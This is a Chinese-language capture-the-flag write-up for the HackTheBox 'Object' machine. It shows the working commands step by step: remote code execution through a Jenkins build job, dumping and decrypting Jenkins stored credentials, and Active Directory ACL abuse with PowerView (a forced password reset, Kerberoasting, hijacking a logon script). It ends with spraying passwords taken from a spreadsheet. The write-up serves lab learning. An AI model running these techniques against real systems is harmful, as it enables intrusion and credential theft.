Tracks-AD-Object

Uncategorized
28k words

nmap

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
└─$ sudo nmap -sS 10.10.11.132 -p- --min-rate=1500
Starting Nmap 7.94SVN ( https://nmap.org ) at 2025-01-10 02:27 EST
Nmap scan report for 10.10.11.132
Host is up (0.11s latency).
Not shown: 65532 filtered tcp ports (no-response)
PORT STATE SERVICE
80/tcp open http
5985/tcp open wsman
8080/tcp open http-proxy

└─$ sudo nmap -sU 10.10.11.132 --top-ports=200 --min-rate=2000
[sudo] password for fonllge:
Starting Nmap 7.94SVN ( https://nmap.org ) at 2025-01-10 02:13 EST
Stats: 0:00:00 elapsed; 0 hosts completed (1 up), 1 undergoing UDP Scan
UDP Scan Timing: About 99.99% done; ETC: 02:13 (0:00:00 remaining)
Nmap scan report for 10.10.11.132
Host is up (0.11s latency).
Not shown: 196 open|filtered udp ports (no-response)
PORT STATE SERVICE
53/udp open domain
88/udp open kerberos-sec
123/udp open ntp
389/udp open ldap

to User

80口是静态web

alt text

只留有一个跳转到8080的连接

alt text

点击后跳转到8080,是jenkins

alt text

试了下默认密码admin/admin不好使

https://stackoverflow.com/questions/15227305/what-is-the-default-jenkins-password

alt text

尝试注册账号,如果新建权限足够也可以创建项目拿shell

alt text

注册之后登录进来,可见用户除了新建之外只有一个admin

alt text

这里我新建了一个空项目,因为还没有生成日志,所以可以查看到当前运行服务的路径。

alt text

通过查询可以找jenkins的shell的方式

https://github.com/Brzozova/reverse-shell-via-Jenkins

alt text

可以通过创建项目,修改build过程执行的command,而后build来rce

依照上文创建一个freestyle project

alt text

修改Build Tiggers中的Build,这里我选的Excute Windows batch command可以直接执行命令。

alt text

写入revshell

alt text

正常来说这里保存好配置之后可以直接点左边的build了,但奇怪的是这里没有build选项。

alt text

https://stackoverflow.com/questions/41108149/build-now-option-is-not-coming-for-job-in-jenkins

1
2
1.Project might be disabled. Please enable it or ask the concerned team to enable it.
2.You do not have enough permission to build the project. Please raise the concerned permission.

依据上文推测可能是我当前用户没有直接构建的权限,抑或是当前项目没有被授予。

但是可以通过配置项目内的构建方式来绕过这部分权限

这里可以通认证后的过key来进行项目构建

alt text

所以首先需要在当前用户下申请一个key

alt text

将申请好的key填入到刚刚项目build的部分之后,尝试通过api发起构建。

1
2
3
4
5
6
7
8
9
└─$ curl 'http://object.htb:8080/job/test/build?token=113xxx'
<html><head><meta http-equiv='refresh' content='1;url=/login?from=%2Fjob%2Ftest%2Fbuild%3Ftoken%3D1128a9d6d6670ec8103472445640df3fe5'/><script>window.location.replace('/login?from=%2Fjob%2Ftest%2Fbuild%3Ftoken%3D113xxx');</script></head><body style='background-color:white; color:white;'>


Authentication required
<!--
-->

</body></html>

但是报错了Authentication required,去查了下Trigger builds remotely (e.g., from scripts)的细节,页面给的example感觉有问题。

alt text

https://stackoverflow.com/questions/42817169/jenkins-trigger-builds-remotely-authentication-token-option-missing

1
2
3
4
5
6
7
8
9
After some time and searching around, I think I am able to answer my own question with some confidence.

I believe the answer lies within the security settings. The purpose of the Authentication Token is to allow unauthorized users (developers) to trigger a build without having login access to Jenkins (see https://wiki.jenkins-ci.org/display/JENKINS/Authenticating+scripted+clients and https://wiki.jenkins-ci.org/display/JENKINS/Quick+and+Simple+Security).

So if you are using Matrix-based security (under "Configure Global Security" >> Authorization), then the "Trigger builds remotely" option will go away because it is presumed that you will be authenticating requests using a Jenkins user account.

In order to do that you can make an HTTP request with the username/password (or even better username/API Token):

curl -X POST "https://username:api-token@JENKINS_URL/job/Example/build"

根据文中的意思,如果你的安全设置中"Configure Global Security" >> Authorization是这么设置的,则需要使用用户名/密码或者用户名/apikkey的形式进行远程构建。

1
curl -X POST "https://username:api-token@JENKINS_URL/job/Example/build"

反之没配置的话才可以像它build页面给的例子这样,直接远程构建

1
curl 'http://object.htb:8080/job/test/build?token=113xxx'

很显然这里他是配置了需要认证后才能构建的,所以需要用文章中给出的方式来构建。

1
curl -XPOST http://asd:1128a9d6d6670ec8103472445640df3fe5@object.htb:8080/job/test/build?token=1128a9d6d6670ec8103472445640df3fe5 -s

这次成功了,但是构建过程报错了,提示命令有问题。

alt text

而后我修改了build command为whoami,测试是没问题的

alt text

而后尝试了curl,又报连接错误,疑似不出网。(我在写的时候去看了其他人的wp,他们是用Get-NetFireWallRule进一步看的防火墙来确定这部分存在出网限制)

不出网的话就用这个命令执行来获取信息也行,不过考虑到需要反复切换页面修改命令和查看命令输出,所以找了下查看输出的接口。

https://stackoverflow.com/questions/24176033/how-to-get-jenkins-console-output-after-triggering-build-remotely

1
$ curl "${JENKINS_URL}/job/${JOB_NAME}/lastBuild/consoleText"

为了使用方便,把构建和查看输出的简化一下。

1
2
3
└─$ alias his="curl -XPOST http://asd:1128a9d6d6670ec8103472445640df3fe5@object.htb:8080/job/test/lastBuild/consoleText?token=1128a9d6d6670ec8103472445640df3fe5" 

└─$ alias cre="curl -XPOST http://asd:1128a9d6d6670ec8103472445640df3fe5@object.htb:8080/job/test/build?token=1128a9d6d6670ec8103472445640df3fe5 -s"
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
└─$ cre && sleep 5 &&his
Started by remote host 10.10.16.12
Running as SYSTEM
Building in workspace C:\Users\oliver\AppData\Local\Jenkins\.jenkins\workspace\test
[test] $ cmd /c call C:\Users\oliver\AppData\Local\Temp\jenkins3748154799557318169.bat

C:\Users\oliver\AppData\Local\Jenkins\.jenkins\workspace\test>dir C:\
Volume in drive C has no label.
Volume Serial Number is 212C-60B7

Directory of C:\

10/25/2021 03:15 AM <DIR> inetpub
10/10/2020 07:38 AM <DIR> PerfLogs
10/20/2021 09:08 PM <DIR> Program Files
10/21/2021 02:37 AM <DIR> Program Files (x86)
10/22/2021 02:54 AM <DIR> Users
10/25/2021 03:15 AM <DIR> Windows
0 File(s) 0 bytes
6 Dir(s) 4,505,337,856 bytes free

C:\Users\oliver\AppData\Local\Jenkins\.jenkins\workspace\test>exit 0
Finished: SUCCESS

在当前oliver用户的家目录下拿到了user.txt

1
2
3
4
5
6
7
8
9
10
11
C:\Users\oliver\AppData\Local\Jenkins\.jenkins\workspace\test>dir C:\users\oliver\Desktop 
Volume in drive C has no label.
Volume Serial Number is 212C-60B7

Directory of C:\users\oliver\Desktop

10/22/2021 02:41 AM <DIR> .
10/22/2021 02:41 AM <DIR> ..
01/09/2025 11:33 PM 34 user.txt
1 File(s) 34 bytes
2 Dir(s) 4,505,305,088 bytes free
1
2
C:\Users\oliver\AppData\Local\Jenkins\.jenkins\workspace\test>type C:\users\oliver\Desktop\user.txt 
d9a44cc1b802b1712fc2a4833a0bca30

to Root

我的想法是他jenkins中还留有一个admin账户,那这个用户的密码可能会有用处,所以当前问题是jenkins中用户的密码是如何在本地存储的,

https://www.codurance.com/publications/2019/05/30/accessing-and-dumping-jenkins-credentials

通过上文得知,如果有console的话可以直接解码,

如果没有的话作者有提供相应的一个脚本,需要提供以下文件

1
2
3
$JENKINS_HOME/credentials.xml 
$JENKINS_HOME/secrets/master.key
$JENKINS_HOME/secrets/hudson.util.Secret

其中$JENKINS_HOME/credentials.xml 我并没有在这台机器中找到。

但是我于admin用户下找到了用户的这个凭证文件。

1
2
3
4
5
6
7
8
9
10
C:\Users\oliver\AppData\Local\Jenkins\.jenkins\workspace\test>powershell -c dir C:\Users\oliver\AppData\Local\Jenkins\.jenkins\users\admin_17207690984073220035 -force 


Directory: C:\Users\oliver\AppData\Local\Jenkins\.jenkins\users\admin_17207690984073220035


Mode LastWriteTime Length Name
---- ------------- ------ ----
-a---- 10/21/2021 2:22 AM 3186 config.xml

其格式和credentials.xml中的内容近似

所以我尝试将他拿出并尝试替代credentials.xml部分

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
C:\Users\oliver\AppData\Local\Jenkins\.jenkins\workspace\test>powershell -c type C:\Users\oliver\AppData\Local\Jenkins\.jenkins\users\admin_17207690984073220035\config.xml
<?xml version='1.1' encoding='UTF-8'?>
<user>
<version>10</version>
<id>admin</id>
<fullName>admin</fullName>
<properties>
<com.cloudbees.plugins.credentials.UserCredentialsProvider_-UserCredentialsProperty plugin="credentials@2.6.1">
<domainCredentialsMap class="hudson.util.CopyOnWriteMap$Hash">
<entry>
<com.cloudbees.plugins.credentials.domains.Domain>
<specifications/>
</com.cloudbees.plugins.credentials.domains.Domain>
<java.util.concurrent.CopyOnWriteArrayList>
<com.cloudbees.plugins.credentials.impl.UsernamePasswordCredentialsImpl>
<id>320a60b9-1e5c-4399-8afe-44466c9cde9e</id>
<description></description>
<username>oliver</username>
<password>{AQAAABAAAAAQqU+m+mC6ZnLa0+yaanj2eBSbTk+h4P5omjKdwV17vcA=}</password>
<usernameSecret>false</usernameSecret>
</com.cloudbees.plugins.credentials.impl.UsernamePasswordCredentialsImpl>
</java.util.concurrent.CopyOnWriteArrayList>
</entry>
</domainCredentialsMap>
</com.cloudbees.plugins.credentials.UserCredentialsProvider_-UserCredentialsProperty>
<hudson.plugins.emailext.watching.EmailExtWatchAction_-UserProperty plugin="email-ext@2.84">
<triggers/>
</hudson.plugins.emailext.watching.EmailExtWatchAction_-UserProperty>
<hudson.model.MyViewsProperty>
<views>
<hudson.model.AllView>
<owner class="hudson.model.MyViewsProperty" reference="../../.."/>
<name>all</name>
<filterExecutors>false</filterExecutors>
<filterQueue>false</filterQueue>
<properties class="hudson.model.View$PropertyList"/>
</hudson.model.AllView>
</views>
</hudson.model.MyViewsProperty>
<org.jenkinsci.plugins.displayurlapi.user.PreferredProviderUserProperty plugin="display-url-api@2.3.5">
<providerId>default</providerId>
</org.jenkinsci.plugins.displayurlapi.user.PreferredProviderUserProperty>
<hudson.model.PaneStatusProperties>
<collapsed/>
</hudson.model.PaneStatusProperties>
<jenkins.security.seed.UserSeedProperty>
<seed>ea75b5bd80e4763e</seed>
</jenkins.security.seed.UserSeedProperty>
<hudson.search.UserSearchProperty>
<insensitiveSearch>true</insensitiveSearch>
</hudson.search.UserSearchProperty>
<hudson.model.TimeZoneProperty/>
<hudson.security.HudsonPrivateSecurityRealm_-Details>
<passwordHash>#jbcrypt:$2a$10$q17aCNxgciQt8S246U4ZauOccOY7wlkDih9b/0j4IVjZsdjUNAPoW</passwordHash>
</hudson.security.HudsonPrivateSecurityRealm_-Details>
<hudson.tasks.Mailer_-UserProperty plugin="mailer@1.34">
<emailAddress>admin@object.local</emailAddress>
</hudson.tasks.Mailer_-UserProperty>
<jenkins.security.ApiTokenProperty>
<tokenStore>
<tokenList/>
</tokenStore>
</jenkins.security.ApiTokenProperty>
<jenkins.security.LastGrantedAuthoritiesProperty>
<roles>
<string>authenticated</string>
</roles>
<timestamp>1634793332195</timestamp>
</jenkins.security.LastGrantedAuthoritiesProperty>
</properties>
</user>

C:\Users\oliver\AppData\Local\Jenkins\.jenkins\workspace\test>exit 0
Finished: SUCCESS

(这里hash没跑出来

再拿一下master.key

1
2
C:\Users\oliver\AppData\Local\Jenkins\.jenkins\workspace\test>powershell -c type C:\Users\oliver\AppData\Local\Jenkins\.jenkins\secrets\master.key
f673fdb0c4fcc339070435bdbe1a039d83a597bf21eafbb7f9b35b50fce006e564cff456553ed73cb1fa568b68b310addc576f1637a7fe73414a4c6ff10b4e23adc538e9b369a0c6de8fc299dfa2a3904ec73a24aa48550b276be51f9165679595b2cac03cc2044f3c702d677169e2f4d3bd96d8321a2e19e2bf0c76fe31db19

以及hudson.util.Secret,需要注意这个文件是二进制格式的,所以需要转码一下,这里base64转了下。

1
powershell -Command "[Convert]::ToBase64String([IO.File]::ReadAllBytes('C:\Users\oliver\AppData\Local\Jenkins\.jenkins\secrets\hudson.util.Secret'))"
1
2
3
4
└─$ his -o hudson.util.Secret
% Total % Received % Xferd Average Speed Time Time Time Current
Dload Upload Total Spent Left Speed
100 794 100 794 0 0 2573 0 --:--:-- --:--:-- --:--:-- 2577

再base64解码转一下就ok

然后跑了下文章中的脚本,就报错了

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
└─$ ./jenkins-credentials-decryptor -m ~/Desktop/htb/Object/master.key -c config.xml -s hudson.util.Secret
2025/01/11 04:52:12 Error. Decrypted hudson secret does not contain expected checksum.
Expected checksum keyword:
::::MAGIC::::
Decrypted secret:
"x?Lc{0\x06\xc2\xd2ǹ\x88\xc1\n\x0e\nz\xea\xb8a\xab\xd0[\xe23\xbf?\xdf3\x0f\xceļ{<\xe4R\x14\xac[\x18Wݟ?\x8bǶ\x83\xaf\xd6\x16?\xfe;\xf3=p\xf4\xe2+\xf1\xb4N\xd2\x03q\xfa\xf3,\x8cJ\xf4\xfa%\xba\xcb֯C\x16\x8c\x86\xb0\x05\x91\x87@b\xef\xa76\x86\xc3Z7\xd2mp\x06<+\x19%\xd3\xcfP\xbeF\f|\xb2\x00\xd3\xd2s\xdb\x10\xf6V\xb87\x0f\x8d\xd2h\x8cvn\t\x1er\xa7\xe5\xf7_\x83\x1e\x97~\x81\x8c_M\xdb7BĘ\xb0\x940\tp\xfeٛ\xf0F\x10c[ʂ\xfa\xc3\xe3\xec\x19Μ\x88\xe0!\x1f:\b\xc0n\xf4嫒\x13\x1b\xdb˸G3?\x198\xa6@\xfd\xbbr\x1e63\x12\xa0\xf5\xfc-Πw\xe5\xbf\xfct\xe2\xf1\xeeT\xd1;\x93\xe7_\xb9\xc2\xdeK[\xd8\xcfȿ\xffp\xbf\xcc\xd4\xe0\x96\x8d\x9c\xb2\a\xa2\x1f-\x17\x89\xb0\x98\xeb\xceg\xd3\ft\xc0\x18\x8d\xaa\x1fa\xec\xf3<]\xabUu\xf1\x14\x84\x91"
panic: Error. Decrypted hudson secret does not contain expected checksum.
Expected checksum keyword:
::::MAGIC::::
Decrypted secret:
"x?Lc{0\x06\xc2\xd2ǹ\x88\xc1\n\x0e\nz\xea\xb8a\xab\xd0[\xe23\xbf?\xdf3\x0f\xceļ{<\xe4R\x14\xac[\x18Wݟ?\x8bǶ\x83\xaf\xd6\x16?\xfe;\xf3=p\xf4\xe2+\xf1\xb4N\xd2\x03q\xfa\xf3,\x8cJ\xf4\xfa%\xba\xcb֯C\x16\x8c\x86\xb0\x05\x91\x87@b\xef\xa76\x86\xc3Z7\xd2mp\x06<+\x19%\xd3\xcfP\xbeF\f|\xb2\x00\xd3\xd2s\xdb\x10\xf6V\xb87\x0f\x8d\xd2h\x8cvn\t\x1er\xa7\xe5\xf7_\x83\x1e\x97~\x81\x8c_M\xdb7BĘ\xb0\x940\tp\xfeٛ\xf0F\x10c[ʂ\xfa\xc3\xe3\xec\x19Μ\x88\xe0!\x1f:\b\xc0n\xf4嫒\x13\x1b\xdb˸G3?\x198\xa6@\xfd\xbbr\x1e63\x12\xa0\xf5\xfc-Πw\xe5\xbf\xfct\xe2\xf1\xeeT\xd1;\x93\xe7_\xb9\xc2\xdeK[\xd8\xcfȿ\xffp\xbf\xcc\xd4\xe0\x96\x8d\x9c\xb2\a\xa2\x1f-\x17\x89\xb0\x98\xeb\xceg\xd3\ft\xc0\x18\x8d\xaa\x1fa\xec\xf3<]\xabUu\xf1\x14\x84\x91"

goroutine 1 [running]:
log.Panic(0xc00004ff68, 0x1, 0x1)
/opt/hostedtoolcache/go/1.14.15/x64/src/log/log.go:351 +0xac
main.check(...)
/home/runner/work/jenkins-credentials-decryptor/jenkins-credentials-decryptor/cmd/jenkins-credentials-decryptor/main.go:38
main.main()
/home/runner/work/jenkins-credentials-decryptor/jenkins-credentials-decryptor/cmd/jenkins-credentials-decryptor/main.go:23 +0x23e

说是找不到::::MAGIC::::字符替换,然后去看了下它的源码

https://github.com/hoto/jenkins-credentials-decryptor/blob/master/pkg/cryptography/secret.go#L33

应该是这里报的

alt text

往上走能看出大概率是aes128ecb解码之后找不到::::MAGIC::::字符才报错的

alt text

这里我换了另一个py的脚本,确直接就解出来了。

https://github.com/gquere/pwn_jenkins/blob/master/offline_decryption/jenkins_offline_decrypt.py

1
2
└─$ python3.11 jenkins_offline_decrypt.py master.key hudson.util.Secret config.xml 
c1cdfun_d2434

我以为是解码后::::MAGIC:::字符的问题,然后debug了下py的脚本,把他aes的key拿出来,在70行这里print一下。

1
2
3
4
5
6
def decrypt_secret_old_format(encrypted_secret, confidentiality_key):
cipher_handler = AES.new(confidentiality_key, AES.MODE_ECB)
decrypted_secret = cipher_handler.decrypt(encrypted_secret)
print(confidentiality_key)
if not decryption_magic in decrypted_secret:
return None

输出了aeskey

1
2
3
└─$ python3.11 jenkins_offline_decrypt.py ~/Desktop/htb/Object/master  hudson.util.Secret config.xml
b33af97dca02c64babc767de753b6441
c1cdfun_d2434

拿去解码一下hudson.util.Secret

alt text

很显然正常解码后是能看到::::MAGIC::::的,所以感觉大概率是go的那个脚本获取aes->解码这两部分有问题,不过懒得去debug了。

至此就拿到了oliver/c1cdfun_d2434,可以winrm了

因为他那边限制了端口,没法远程遛狗了,只能winrm传进去遛。

这里我因为前段时间换了个版本的bloodhound所以重新下了最新的sharphound。结果遛出来的结果一直不加载,去搜找到了下文,2.x以上版本的sharphound只能在CE版本用,老版的需要用v1.1.1。

https://github.com/SpecterOps/BloodHound-Legacy/issues/700

遛狗得到oliver对smith用户有修改密码权限

alt text

这里一眼可以望到admin的路了

alt text

忘记留这部分解析GUID的命令回显了可以参考微软文档。

https://learn.microsoft.com/en-us/windows/win32/adschema/r-user-force-change-password

oliver用户对smith用户有force-change-password强制更改密码的对象权限

Entry Value
CN User-Force-Change-Password
Display-Name Reset Password
Rights-GUID 00299570-246d-11d0-a768-00aa006e0529
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
*Evil-WinRM* PS C:\Users\oliver\Documents>Import-module .\PowerView.ps1
*Evil-WinRM* PS C:\Users\oliver\Documents> Get-DomainObjectAcl -Identity smith | ? {$_.SecurityIdentifier="S-1-5-21-4088429403-1159899800-2753317549-1103"}
ObjectDN : CN=Smith William,CN=Users,DC=object,DC=local
ObjectSID : S-1-5-21-4088429403-1159899800-2753317549-1104
ActiveDirectoryRights : ExtendedRight
ObjectAceFlags : ObjectAceTypePresent
ObjectAceType : 00299570-246d-11d0-a768-00aa006e0529
InheritedObjectAceType : 00000000-0000-0000-0000-000000000000
BinaryLength : 56
AceQualifier : AccessAllowed
IsCallback : False
OpaqueLength : 0
AccessMask : 256
SecurityIdentifier : S-1-5-21-4088429403-1159899800-2753317549-1103
AceType : AccessAllowedObject
AceFlags : None
IsInherited : False
InheritanceFlags : None
PropagationFlags : None
AuditFlags : None

根据powerview给的例子改就好

1
2
3
4
5
6
.EXAMPLE

$UserPassword = ConvertTo-SecureString 'Password123!' -AsPlainText -Force
Set-DomainUserPassword -Identity andy -AccountPassword $UserPassword

Resets the password for 'andy' to the password specified.
1
2
3
*Evil-WinRM* PS C:\Users\oliver\Documents> import-module .\PowerView.ps1
*Evil-WinRM* PS C:\Users\oliver\Documents> $UserPassword = ConvertTo-SecureString 'Password123!' -AsPlainText -Force
*Evil-WinRM* PS C:\Users\oliver\Documents> Set-DomainUserPassword -Identity smith -AccountPassword $UserPassword

至此拿到了smith,之后是smith -> maria

alt text

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
*Evil-WinRM* PS C:\Users\oliver\Documents> Get-DomainObjectAcl -Identity maria -ResolveGUIDs|? { $_.SecurityIdentifier -eq "S-1-5-21-4088429403-11598
99800-2753317549-1104" }

AceType : AccessAllowed
ObjectDN : CN=maria garcia,CN=Users,DC=object,DC=local
ActiveDirectoryRights : ReadProperty, WriteProperty, GenericExecute
OpaqueLength : 0
ObjectSID : S-1-5-21-4088429403-1159899800-2753317549-1106
InheritanceFlags : None
BinaryLength : 36
IsInherited : False
IsCallback : False
PropagationFlags : None
SecurityIdentifier : S-1-5-21-4088429403-1159899800-2753317549-1104
AccessMask : 131124
AuditFlags : None
AceFlags : None
AceQualifier : AccessAllowed

这里他有genericwrite权限,说人话就是WriteProperty

留一下方便自己查

https://learn.microsoft.com/en-us/dotnet/api/system.directoryservices.activedirectoryrights?view=windowsdesktop-9.0

最常用的话是加影票,但是我着实想不出win他限制了入的TCP咋连..

https://notes.morph3.blog/abusing-active-directory-acls/genericwrite

其次是spn和关预认证,再其次是改登陆脚本,但是这情况真的很罕见..

所以这里我选添加spn

1
PS> Set-DomainObject  -Identity maria -SET @{serviceprincipalname='nonexistent/BLAHBLAH'}

添加之后再次查看maria的信息,可见多了serviceprincipalname

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
*Evil-WinRM* PS C:\Users\smith\Documents> Get-DomainObject -Identity maria


logoncount : 39
badpasswordtime : 10/22/2021 5:54:46 AM
distinguishedname : CN=maria garcia,CN=Users,DC=object,DC=local
objectclass : {top, person, organizationalPerson, user}
displayname : maria garcia
lastlogontimestamp : 1/12/2025 6:30:43 PM
userprincipalname : maria@object.local
name : maria garcia
objectsid : S-1-5-21-4088429403-1159899800-2753317549-1106
samaccountname : maria
codepage : 0
samaccounttype : USER_OBJECT
accountexpires : NEVER
countrycode : 0
whenchanged : 1/13/2025 6:27:16 AM
instancetype : 4
usncreated : 20645
objectguid : 9340fcdd-2f1e-4f89-bafe-e1dcdd5c2b6f
sn : garcia
lastlogoff : 12/31/1600 4:00:00 PM
objectcategory : CN=Person,CN=Schema,CN=Configuration,DC=object,DC=local
dscorepropagationdata : {10/22/2021 10:21:48 AM, 10/22/2021 10:10:02 AM, 10/22/2021 10:04:25 AM, 10/22/2021 9:52:43 AM...}
serviceprincipalname : nonexistent/BLAHBLAH
givenname : maria
memberof : CN=Remote Management Users,CN=Builtin,DC=object,DC=local
lastlogon : 1/12/2025 6:30:43 PM
badpwdcount : 0
cn : maria garcia
useraccountcontrol : NORMAL_ACCOUNT, DONT_EXPIRE_PASSWORD
whencreated : 10/22/2021 4:16:32 AM
primarygroupid : 513
pwdlastset : 10/21/2021 9:16:32 PM
usnchanged : 159933

然后是获取spn信息

需要注意的是这里需要带上当前用户的密码才可以请求spn,不然会报错,当然如果关闭了smith用户的预认证的话是可以直接去请求spn的,并不需要带上认证。

1
2
3
4
5
6
7
8
9
$SecPassword = ConvertTo-SecureString 'Password123!' -AsPlainText -Force
$Cred = New-Object System.Management.Automation.PSCredential('object.local\smith', $SecPassword)
*Evil-WinRM* PS C:\Users\smith\Documents> Get-DomainSPNTicket -SPN "nonexistent/BLAHBLAH" -OutputFormat Hashcat -Credential $Cred

SamAccountName : UNKNOWN
DistinguishedName : UNKNOWN
ServicePrincipalName : nonexistent/BLAHBLAH
TicketByteHexStream :
Hash : $krb5tgs$23$*UNKNOWN$UNKNOWN$nonexistent/BLAHBLAH*$29652BC41E0DEEFD40F499617875....

然而我并没有跑出来密码

1
2
3
4
5
6
7
8
└─$ hashcat maria_hash /usr/share/wordlists/rockyou.txt --show
Hash-mode was not specified with -m. Attempting to auto-detect hash mode.
The following mode was auto-detected as the only one matching your input hash:

13100 | Kerberos 5, etype 23, TGS-REP | Network Protocol

NOTE: Auto-detect is best effort. The correct hash-mode is NOT guaranteed!
Do NOT report auto-detect issues unless you are certain of the hash type.

不过还可以改logon script,这里可以参考一下微软文档,我记得24年中旬时候有一台机器也是用的这个,当时卡住了,好dude说他查了微软文档,可以指定在共享目录netlogon下的脚本就可以用。

1
2
3
Local logon scripts must be stored in a shared folder that uses the share name of Netlogon, or be stored in subfolders of the Netlogon folder.

The default location for local logon scripts is the Systemroot\System32\Repl\Imports\Scripts folder. This folder is not created on a new installation of Windows. Therefore, the SystemRoot\System32\Repl\Imports\Scripts folder must be created and shared out by using the Netlogon share name.

https://learn.microsoft.com/en-us/troubleshoot/windows-server/user-profiles-and-logon/assign-logon-script-profile-local-user

不过这次情况比较特殊,我在切换到netlogon下发现自己没有写入权限,而且他不能出网也没法访问到我kali的smb共享目录。

所以这里我尝试将他的脚本路径,变更为绝对路径,来指向到我的临时目录。

1
2
3
4
5
*Evil-WinRM* PS C:\Users\smith\Documents> Set-DomainObject -Identity maria -Set @{'scriptPath'='C:\\test\1.ps1'} -Verbose

Verbose: [Get-DomainSearcher] search base: LDAP://DC=object,DC=local
Verbose: [Get-DomainObject] Get-DomainObject filter string: (&(|(|(samAccountName=maria)(name=maria)(displayname=maria))))
Verbose: [Set-DomainObject] Setting 'scriptPath' to 'C:\\test\1.ps1' for object 'maria'

再一次查看maria信息,scriptpath已经被修改成功

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
*Evil-WinRM* PS C:\Users\smith\Documents> Get-DomainObject -Identity maria

logoncount : 39
badpasswordtime : 10/22/2021 5:54:46 AM
distinguishedname : CN=maria garcia,CN=Users,DC=object,DC=local
objectclass : {top, person, organizationalPerson, user}
displayname : maria garcia
lastlogontimestamp : 1/12/2025 6:30:43 PM
userprincipalname : maria@object.local
name : maria garcia
objectsid : S-1-5-21-4088429403-1159899800-2753317549-1106
cn : maria garcia
codepage : 0
samaccounttype : USER_OBJECT
accountexpires : NEVER
countrycode : 0
whenchanged : 1/13/2025 7:38:42 AM
instancetype : 4
usncreated : 20645
objectguid : 9340fcdd-2f1e-4f89-bafe-e1dcdd5c2b6f
sn : garcia
lastlogoff : 12/31/1600 4:00:00 PM
samaccountname : maria
objectcategory : CN=Person,CN=Schema,CN=Configuration,DC=object,DC=local
dscorepropagationdata : {10/22/2021 10:21:48 AM, 10/22/2021 10:10:02 AM, 10/22/2021 10:04:25 AM, 10/22/2021 9:52:43 AM...}
serviceprincipalname : nonexistent/BLAHBLAH
givenname : maria
memberof : CN=Remote Management Users,CN=Builtin,DC=object,DC=local
lastlogon : 1/12/2025 6:30:43 PM
badpwdcount : 0
scriptpath : C:\\test\1.ps1 <----scriptpath
useraccountcontrol : NORMAL_ACCOUNT, DONT_EXPIRE_PASSWORD
whencreated : 10/22/2021 4:16:32 AM
primarygroupid : 513
pwdlastset : 10/21/2021 9:16:32 PM
usnchanged : 159963

接下来不出意外的只需要修改1.ps1即可

所以这里我echo "whoami > c:\test\a" > 1.ps1,发现他执行的非常快..

1
2
3
4
5
6
7
8
9
10
11
12
13
14
*Evil-WinRM* PS C:\test> ls


Directory: C:\test


Mode LastWriteTime Length Name
---- ------------- ------ ----
-a---- 1/12/2025 11:13 PM 42 1.ps1
-a---- 1/12/2025 11:39 PM 30 a


*Evil-WinRM* PS C:\test> cat a
object\maria

而后通过替换这个脚本来执行命令,这部分和userjenkins部分很像

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
*Evil-WinRM* PS C:\test> echo 'dir ~ > C:/test/a' > 1.ps1
*Evil-WinRM* PS C:\test> cat a

Directory: C:\Users\maria


Mode LastWriteTime Length Name
---- ------------- ------ ----
d-r--- 10/22/2021 3:54 AM 3D Objects
d-r--- 10/22/2021 3:54 AM Contacts
d-r--- 10/25/2021 3:47 AM Desktop
d-r--- 10/25/2021 10:07 PM Documents
d-r--- 10/22/2021 3:54 AM Downloads
d-r--- 10/22/2021 3:54 AM Favorites
d-r--- 10/22/2021 3:54 AM Links
d-r--- 10/22/2021 3:54 AM Music
d-r--- 10/22/2021 3:54 AM Pictures
d-r--- 10/22/2021 3:54 AM Saved Games
d-r--- 10/22/2021 3:54 AM Searches
d-r--- 10/22/2021 3:54 AM Videos

maria的桌面上找到了一个xls

1
2
3
4
5
6
7
8
9
10
*Evil-WinRM* PS C:\test> echo 'dir ~/desktop/ > C:/test/a' > 1.ps1
*Evil-WinRM* PS C:\test> cat a


Directory: C:\Users\maria\desktop


Mode LastWriteTime Length Name
---- ------------- ------ ----
-a---- 10/26/2021 8:13 AM 6144 Engines.xls

这里有两种方式,一个是直接copy到当前目录,一个是base64输出转码

1
2
3
4
5
6
7
8
9
10
11
12
#copy file
*Evil-WinRM* PS C:\test> echo 'powershell -Command copy-item ~/desktop/Engines.xls -Destination "C:/test/Engines.xls"' > 1.ps1

*Evil-WinRM* PS C:\test> ls

Directory: C:\test

Mode LastWriteTime Length Name
---- ------------- ------ ----
-a---- 1/15/2025 1:59 AM 178 1.ps1
-a---- 10/26/2021 8:13 AM 6144 Engines.xls
-a---- 1/15/2025 1:56 AM 770279 PowerView.ps1
1
2
#base64
echo "powershell -Command ""[Convert]::ToBase64String([IO.File]::ReadAllBytes('C:\users\maria\desktop\Engines.xls')) > c:\test\basefile""" > 1.ps1

不管怎么着,我是copy之后拿到之后直接download了

1
C:\test> download C:/test/Engines.xls Engines.xls

xls如下

Machines Information

Name Quantity Date Acquired Owner Chamber Username Chamber Password
InternalCombustion Engine 12 10/02/21 HTB maria d34gb8@
Stirling Engine 23 11/05/21 HTB maria 0de_434_d545
Diesel Engine 4 02/03/21 HTB maria W3llcr4ft3d_4cls

撞一下得到maria/W3llcr4ft3d_4cls

1
2
3
4
5
6
7
└─$ crackmapexec winrm 10.10.11.132 -u maria -p passlist   
SMB 10.10.11.132 5985 NONE [*] None (name:10.10.11.132) (domain:None)
HTTP 10.10.11.132 5985 NONE [*] http://10.10.11.132:5985/wsman
WINRM 10.10.11.132 5985 NONE [-] None\maria:d34gb8@
WINRM 10.10.11.132 5985 NONE [-] None\maria:0de_434_d545
WINRM 10.10.11.132 5985 NONE [+] None\maria:W3llcr4ft3d_4cls (Pwn3d!)
WINRM 10.10.11.132 5985 NONE [-] None\maria:W3llcr4ft3d_4cls "'NoneType' object has no attribute 'upper'"

alt text

maria域管理员组writeOwner权限

1
2
